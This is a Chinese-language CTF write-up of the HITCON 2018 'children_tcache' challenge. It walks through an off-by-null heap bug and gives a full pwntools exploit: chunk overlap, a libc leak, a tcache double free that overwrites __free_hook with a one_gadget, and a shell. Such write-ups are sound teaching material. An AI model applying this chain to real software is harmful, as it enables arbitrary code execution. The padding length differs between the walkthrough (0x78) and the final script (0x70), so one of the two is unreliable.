hitcon_2018_children_tcache

查看保护

保护全开的话,那就修改hook吧。

分析

new

size大小不能大于0x2000,创建堆给到dest,接下来输入数据。看一下sub_BC8吧。

strcpy这里出了一点问题,strcpy会将\x00一并覆盖过去,造成off-by-null,上个自动化脚本吧。

1
2
3
4
def new(size, content):
r.sendlineafter(menu, '1')
r.sendlineafter('Size:', str(size))
r.sendafter('Data:', content)

show

输入index,index要小于9,然后输出要输出的index对应的堆。

1
2
3
def show(index):
r.sendlineafter(menu, '2')
r.sendlineafter('Index:', str(index))

delete

还是输入index,index要小于9。将空间全部填为0xda,接下来就是释放heap_ptr,释放之后清0了,没有UAF

1
2
3
def delete(index):
r.sendlineafter(menu, '3')
r.sendlineafter('Index:', str(index))

编写exp

因为没有UAF,可以考虑堆的重叠。就是需要将prev_size改为0,也要改inuse位。泄露libc的话用unstortedbin来进行泄露。

申请4个chunk,0和2要在unstortedbin之内,3是为了防止与top_chunk合并。释放1和0以size背叛的方式将prev_size置0。申请同样的大小,把2的presize置为chunk0+chunk1的大小。删除2,进行合并,泄露libc_base,double free改hook。最后就可以getshell了

1
2
3
4
new(0x410, 'aaaa')
new(0x78, 'bbbb')
new(0x4f0, 'ffff')
new(0x10, 'eeee')

接下来释放1和0,再看一下chunk2的prev_size吧。

1
2
delete(1)
delete(0)

chunk2的prev_size被垃圾数据填充。接下来就是要将这些垃圾数据给清0。

1
2
3
for i in range(9):
new(0x78 - i, 'b' * (0x78 - i))
delete(0)

下面就是再申请一个与1一样大小的chunk,将chunk2的prev_size改为chunk0+chunk1的大小,目的是为了进行堆重叠。

1
2
p1 = b'a' * 0x78 + p64(0x4a0)
new(0x78, p1) #0

接下来释放chunk2进行合并。可以看到下图已经一起合并了。

1
delete(2)

此时重新申请chunk0,因为上一步的堆重叠,fd和bk不会被覆盖。再show一下就可以获取libc_base了。

1
new(0x410, 'aaaa')			#1

show一下吧。

一把梭。

1
2
3
4
5
show(0)
libc_base = u64(r.recvuntil('\x7f')[-6:].ljust(8, b'\x00')) - 0x3ebca0
free_hook = libc_base + libc.sym['__free_hook']
one = [0x4f2c5, 0x4f322, 0x10a38c]
one_gadget = libc_base + one[1]

one_gadget这些都找好后,接下来就是改hook,进行getshell,先申请一个chunk2吧。

1
new(0x78, 'aaaa')   #2

接下来释放0和2,因为堆重叠,所以0 ==== 2,进行double_free

1
2
3
4
5
6
delete(0)
delete(2)
new(0x78, p64(free_hook))
new(0x78, 'aaa')
new(0x78, p64(one_gadget))
delete(3)

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
from pwn import *

file_name = './z1r0'

debug = 0
if debug:
r = remote()
else:
r = process(file_name)

elf = ELF(file_name)

libc = ELF('./2.27/libc-2.27.so')

menu = 'Your choice: '

def new(size, content):
r.sendlineafter(menu, '1')
r.sendlineafter('Size:', str(size))
r.sendafter('Data:', content)

def show(index):
r.sendlineafter(menu, '2')
r.sendlineafter('Index:', str(index))

def delete(index):
r.sendlineafter(menu, '3')
r.sendlineafter('Index:', str(index))

def dbg():
gdb.attach(r)

new(0x410, 'aaaa') #0
new(0x78, 'bbbb') #1
new(0x4f0, 'ffff') #2
new(0x10, 'eeee') #3

delete(1)
delete(0)

for i in range(9):
new(0x78 - i, 'b' * (0x78 - i))
delete(0)

p1 = b'a' * 0x70 + p64(0x4a0)
new(0x78, p1) #0

delete(2)

new(0x410, 'aaaa') #1
show(0)

libc_base = u64(r.recvuntil('\x7f')[-6:].ljust(8, b'\x00')) - 0x3ebca0
success('libc_base = ' + hex(libc_base))

free_hook = libc_base + libc.sym['__free_hook']

one = [0x4f2c5, 0x4f322, 0x10a38c]
one_gadget = libc_base + one[1]

new(0x78, 'aaaa') #2

delete(0)
delete(2)

new(0x78, p64(free_hook))
new(0x78, 'aaa')
new(0x78, p64(one_gadget))

delete(3)
r.interactive()